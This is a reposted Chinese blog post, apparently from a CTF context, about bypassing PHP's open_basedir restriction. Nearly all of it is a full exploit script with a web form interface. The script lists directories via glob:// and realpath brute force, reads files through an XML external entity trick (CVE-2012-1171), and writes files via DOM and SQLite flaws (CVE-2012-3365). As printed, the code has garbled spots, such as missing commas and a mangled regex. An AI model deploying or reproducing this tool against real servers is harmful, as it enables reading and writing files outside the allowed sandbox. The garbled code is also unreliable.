绕过open_basedir读文件脚本

绕过open_basedir读文件脚本

参加了一场2016年的sycsec感觉又学到不少东西

废话不多说,首先啥是open_basedir?

open_basedir: 将用户可操作的文件限制在某目录下

具体的设置方法可以参考:http://blog.csdn.net/white__cat/article/details/32734343

这样设置之后,原则上被限制之外的目录是无法读写文件的,但是有一个漏洞却打破了这个限制

参考p牛的文章:https://www.leavesongs.com/bypass-open-basedir-readfile.html

但是p牛给的脚本报错,老是读不到文件,这里我在比赛服务器里面找到一个神器的脚本可以成功,下面是那个神奇的php:

[php]  view plain  copy
  1. <?php  
  2. /* 
  3. PHP open_basedir bypass collection 
  4. Works with >= PHP5 
  5. By /fd, @filedescriptor(https://twitter.com/filedescriptor) 
  6.  */  
  7.   
  8. // Assistant functions  
  9. function getRelativePath($from$to) {  
  10.     // some compatibility fixes for Windows paths  
  11.     $from = rtrim($from'\/') . '/';  
  12.     $from = str_replace('\\', '/', $from);  
  13.     $to = str_replace('\\', '/', $to);  
  14.   
  15.     $from = explode('/'$from);  
  16.     $to = explode('/'$to);  
  17.     $relPath = $to;  
  18.   
  19.     foreach ($from as $depth => $dir) {  
  20.         // find first non-matching dir  
  21.         if ($dir === $to[$depth]) {  
  22.             // ignore this directory  
  23.             array_shift($relPath);  
  24.         } else {  
  25.             // get number of remaining dirs to $from  
  26.             $remaining = count($from) - $depth;  
  27.             if ($remaining > 1) {  
  28.                 // add traversals up to first matching dir  
  29.                 $padLength = (count($relPath) + $remaining - 1) * -1;  
  30.                 $relPath = array_pad($relPath$padLength'..');  
  31.                 break;  
  32.             } else {  
  33.                 $relPath[0] = './' . $relPath[0];  
  34.             }  
  35.         }  
  36.     }  
  37.     return implode('/'$relPath);  
  38. }  
  39.   
  40. function fallback($classes) {  
  41.     foreach ($classes as $class) {  
  42.         $object = new $class;  
  43.         if ($object->isAvailable()) {  
  44.             return $object;  
  45.         }  
  46.     }  
  47.     return new NoExploit;  
  48. }  
  49.   
  50. // Core classes  
  51. interface Exploitable {  
  52.     function isAvailable();  
  53.     function getDescription();  
  54. }  
  55.   
  56. class NoExploit implements Exploitable {  
  57.     function isAvailable() {  
  58.         return true;  
  59.     }  
  60.     function getDescription() {  
  61.         return 'No exploit is available.';  
  62.     }  
  63. }  
  64.   
  65. abstract class DirectoryLister implements Exploitable {  
  66.     var $currentPath;  
  67.   
  68.     function isAvailable() {}  
  69.     function getDescription() {}  
  70.     function getFileList() {}  
  71.     function setCurrentPath($currentPath) {  
  72.         $this->currentPath = $currentPath;  
  73.     }  
  74.     function getCurrentPath() {  
  75.         return $this->currentPath;  
  76.     }  
  77. }  
  78.   
  79. class GlobWrapperDirectoryLister extends DirectoryLister {  
  80.     function isAvailable() {  
  81.         return stripos(PHP_OS, 'win') === FALSE && in_array('glob', stream_get_wrappers());  
  82.     }  
  83.     function getDescription() {  
  84.         return 'Directory listing via glob pattern';  
  85.     }  
  86.     function getFileList() {  
  87.         $file_list = array();  
  88.         // normal files  
  89.         $it = new DirectoryIterator("glob://{$this->getCurrentPath()}*");  
  90.         foreach ($it as $f) {  
  91.             $file_list[] = $f->__toString();  
  92.         }  
  93.         // special files (starting with a dot(.))  
  94.         $it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*");  
  95.         foreach ($it as $f) {  
  96.             $file_list[] = $f->__toString();  
  97.         }  
  98.         sort($file_list);  
  99.         return $file_list;  
  100.     }  
  101. }  
  102.   
  103. class RealpathBruteForceDirectoryLister extends DirectoryLister {  
  104.     var $characters = 'abcdefghijklmnopqrstuvwxyz0123456789-_'  
  105.     , $extension = array()  
  106.     , $charactersLength = 38  
  107.     , $maxlength = 3  
  108.     , $fileList = array();  
  109.   
  110.     function isAvailable() {  
  111.         return ini_get('open_basedir') && function_exists('realpath');  
  112.     }  
  113.     function getDescription() {  
  114.         return 'Directory listing via brute force searching with realpath function.';  
  115.     }  
  116.     function setCharacters($characters) {  
  117.         $this->characters = $characters;  
  118.         $this->charactersLength = count($characters);  
  119.     }  
  120.     function setExtension($extension) {  
  121.         $this->extension = $extension;  
  122.     }  
  123.     function setMaxlength($maxlength) {  
  124.         $this->maxlength = $maxlength;  
  125.     }  
  126.     function getFileList() {  
  127.         set_time_limit(0);  
  128.         set_error_handler(array(__CLASS__'handler'));  
  129.         $number_set = array();  
  130.         while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) {  
  131.             $this->searchFile($number_set);  
  132.         }  
  133.         sort($this->fileList);  
  134.         return $this->fileList;  
  135.     }  
  136.     function nextCombination($number_set$length) {  
  137.         if (!isset($number_set[$length])) {  
  138.             $number_set[$length] = 0;  
  139.             return $number_set;  
  140.         }  
  141.         if ($number_set[$length] + 1 === $this->charactersLength) {  
  142.             $number_set[$length] = 0;  
  143.             $number_set = $this->nextCombination($number_set$length + 1);  
  144.         } else {  
  145.             $number_set[$length]++;  
  146.         }  
  147.         return $number_set;  
  148.     }  
  149.     function searchFile($number_set) {  
  150.         $file_name = 'a';  
  151.         foreach ($number_set as $key => $value) {  
  152.             $file_name[$key] = $this->characters[$value];  
  153.         }  
  154.         // normal files  
  155.         realpath($this->getCurrentPath() . $file_name);  
  156.         // files with preceeding dot  
  157.         realpath($this->getCurrentPath() . '.' . $file_name);  
  158.         // files with extension  
  159.         foreach ($this->extension as $extension) {  
  160.             realpath($this->getCurrentPath() . $file_name . $extension);  
  161.         }  
  162.     }  
  163.     function handler($errno$errstr$errfile$errline) {  
  164.         $regexp = '/File(.)(.∗) is not within/';  
  165.         preg_match($regexp$errstr$matches);  
  166.         if (isset($matches[1])) {  
  167.             $this->fileList[] = $matches[1];  
  168.         }  
  169.   
  170.     }  
  171. }  
  172.   
  173. abstract class FileWriter implements Exploitable {  
  174.     var $filePath;  
  175.   
  176.     function isAvailable() {}  
  177.     function getDescription() {}  
  178.     function write($content) {}  
  179.     function setFilePath($filePath) {  
  180.         $this->filePath = $filePath;  
  181.     }  
  182.     function getFilePath() {  
  183.         return $this->filePath;  
  184.     }  
  185. }  
  186.   
  187. abstract class FileReader implements Exploitable {  
  188.     var $filePath;  
  189.   
  190.     function isAvailable() {}  
  191.     function getDescription() {}  
  192.     function read() {}  
  193.     function setFilePath($filePath) {  
  194.         $this->filePath = $filePath;  
  195.     }  
  196.     function getFilePath() {  
  197.         return $this->filePath;  
  198.     }  
  199. }  
  200.   
  201. // Assistant class for DOMFileWriter & DOMFileReader  
  202. class StreamExploiter {  
  203.     var $mode$filePath$fileContent;  
  204.   
  205.     function stream_close() {  
  206.         $doc = new DOMDocument;  
  207.         $doc->strictErrorChecking = false;  
  208.         switch ($this->mode) {  
  209.         case 'w':  
  210.             $doc->loadHTML($this->fileContent);  
  211.             $doc->removeChild($doc->firstChild);  
  212.             $doc->saveHTMLFile($this->filePath);  
  213.             break;  
  214.         default:  
  215.         case 'r':  
  216.             $doc->resolveExternals = true;  
  217.             $doc->substituteEntities = true;  
  218.             $doc->loadXML("<!DOCTYPE doc [<!ENTITY file SYSTEM \"file://{$this->filePath}\">]><doc>&file;</doc>", LIBXML_PARSEHUGE);  
  219.             echo $doc->documentElement->firstChild->nodeValue;  
  220.         }  
  221.     }  
  222.     function stream_open($path$mode$options, &$opened_path) {  
  223.         $this->filePath = substr($path, 10);  
  224.         $this->mode = $mode;  
  225.         return true;  
  226.     }  
  227.     public function stream_write($data) {  
  228.         $this->fileContent = $data;  
  229.         return strlen($data);  
  230.     }  
  231. }  
  232.   
  233. class DOMFileWriter extends FileWriter {  
  234.     function isAvailable() {  
  235.         return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10''<=') || version_compare(phpversion(), '5.4.0''='));  
  236.     }  
  237.     function getDescription() {  
  238.         return 'Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.';  
  239.     }  
  240.     function write($content) {  
  241.         // set it to global resource in order to trigger RSHUTDOWN  
  242.         global $_DOM_exploit_resource;  
  243.         stream_wrapper_register('exploit''StreamExploiter');  
  244.         $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}"'w');  
  245.         fwrite($_DOM_exploit_resource$content);  
  246.     }  
  247. }  
  248.   
  249. class DOMFileReader extends FileReader {  
  250.     function isAvailable() {  
  251.         return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10''<=') || version_compare(phpversion(), '5.4.0''='));  
  252.     }  
  253.     function getDescription() {  
  254.         return 'Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.';  
  255.     }  
  256.     function read() {  
  257.         // set it to global resource in order to trigger RSHUTDOWN  
  258.         global $_DOM_exploit_resource;  
  259.         stream_wrapper_register('exploit''StreamExploiter');  
  260.         $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}"'r');  
  261.     }  
  262. }  
  263.   
  264. class SqliteFileWriter extends FileWriter {  
  265.     function isAvailable() {  
  266.         return is_writable(getcwd())  
  267.             && (extension_loaded('sqlite3') || extension_loaded('sqlite'))  
  268.             && (version_compare(phpversion(), '5.3.15''<=') || (version_compare(phpversion(), '5.4.5''<=') && PHP_MINOR_VERSION == 4));  
  269.     }  
  270.     function getDescription() {  
  271.         return 'Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted';  
  272.     }  
  273.     function write($content) {  
  274.         $sqlite_class = extension_loaded('sqlite3') ? 'sqlite3' : 'SQLiteDatabase';  
  275.         mkdir(':memory:');  
  276.         $payload_path = getRelativePath(getcwd() . '/:memory:'$this->getFilePath());  
  277.         $payload = str_replace('\'''\'\''$content);  
  278.         $database = new $sqlite_class(":memory:/{$payload_path}");  
  279.         $database->exec("CREATE TABLE foo (bar STRING)");  
  280.         $database->exec("INSERT INTO foo (bar) VALUES ('{$payload}')");  
  281.         $database->close();  
  282.         rmdir(':memory:');  
  283.     }  
  284. }  
  285.   
  286. // End of Core  
  287. ?>  
  288. <?php  
  289. $action = isset($_GET['action']) ? $_GET['action'] : '';  
  290. $cwd = isset($_GET['cwd']) ? $_GET['cwd'] : getcwd();  
  291. $cwd = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;  
  292. $directorLister = fallback(array('GlobWrapperDirectoryLister''RealpathBruteForceDirectoryLister'));  
  293. $fileWriter = fallback(array('DOMFileWriter''SqliteFileWriter'));  
  294. $fileReader = fallback(array('DOMFileReader'));  
  295. $append = '';  
  296. ?>  
  297. <style>  
  298. #panel {  
  299.   height: 200px;  
  300.   overflow: hidden;  
  301. }  
  302. #panel > pre {  
  303.   margin: 0;  
  304.   height: 200px;  
  305. }  
  306. </style>  
  307. <div id="panel">  
  308. <pre id="dl">  
  309. open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>  
  310. <form style="display:inline-block" action="">  
  311. <fieldset><legend>Directory Listing:</legend>Current Directory: <input name="cwd" size="100" value="<?php echo $cwd; ?>"><input type="submit" value="Go">  
  312. <?php if (get_class($directorLister) === 'RealpathBruteForceDirectoryLister'): ?>  
  313. <?php  
  314. $characters = isset($_GET['characters']) ? $_GET['characters'] : $directorLister->characters;  
  315. $maxlength = isset($_GET['maxlength']) ? $_GET['maxlength'] : $directorLister->maxlength;  
  316. $append = "&characters={$characters}&maxlength={$maxlength}";  
  317.   
  318. $directorLister->setMaxlength($maxlength);  
  319. ?>  
  320. Search Characters: <input name="characters" size="100" value="<?php echo $characters; ?>">  
  321. Maxlength of File: <input name="maxlength" size="1" value="<?php echo $maxlength; ?>">  
  322. <?php endif;?>  
  323. Description      : <strong><?php echo $directorLister->getDescription(); ?></strong>  
  324. </fieldset>  
  325. </form>  
  326. </pre>  
  327. <?php  
  328. $file_path = isset($_GET['file_path']) ? $_GET['file_path'] : '';  
  329. ?>  
  330. <pre id="rf">  
  331. open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>  
  332. <form style="display:inline-block" action="">  
  333. <fieldset><legend>Read File :</legend>File Path: <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Read">  
  334. Description: <strong><?php echo $fileReader->getDescription(); ?></strong><input type="hidden" name="action" value="rf">  
  335. </fieldset>  
  336. </form>  
  337. </pre>  
  338. <pre id="wf">  
  339. open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>  
  340. <form style="display:inline-block" action="">  
  341. <fieldset><legend>Write File :</legend>File Path   : <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Write">  
  342. File Content: <textarea cols="70" name="content"></textarea>  
  343. Description : <strong><?php echo $fileWriter->getDescription(); ?></strong><input type="hidden" name="action" value="wf">  
  344. </fieldset>  
  345. </form>  
  346. </pre>  
  347. </div>  
  348. <a href="#dl">Directory Listing</a> | <a href="#rf">Read File</a> | <a href="#wf">Write File</a>  
  349. <hr>  
  350. <pre>  
  351. <?php if ($action === 'rf'): ?>  
  352. <plaintext>  
  353. <?php  
  354. $fileReader->setFilePath($file_path);  
  355. echo $fileReader->read();  
  356. ?>  
  357. <?php elseif ($action === 'wf'): ?>  
  358. <?php  
  359. if (isset($_GET['content'])) {  
  360.     $fileWriter->setFilePath($file_path);  
  361.     $fileWriter->write($_GET['content']);  
  362.     echo 'The file should be written.';  
  363. else {  
  364.     echo 'Something goes wrong.';  
  365. }  
  366. ?>  
  367. <?php else: ?>  
  368. <ol>  
  369. <?php  
  370. $directorLister->setCurrentPath($cwd);  
  371. $file_list = $directorLister->getFileList();  
  372. $parent_path = dirname($cwd);  
  373.   
  374. echo "<li><a href='?cwd={$parent_path}{$append}#dl'>Parent</a></li>";  
  375. if (count($file_list) > 0) {  
  376.     foreach ($file_list as $file) {  
  377.         echo "<li><a href='?cwd={$cwd}{$file}{$append}#dl'>{$file}</a></li>";  
  378.     }  
  379. else {  
  380.     echo 'No files found. The path is probably not a directory.';  
  381. }  
  382. ?>  
  383. </ol>  
  384. <?php endif;?>  


版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/niexinming/article/details/53146095

转载于:https://www.cnblogs.com/yisuo/p/9027781.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值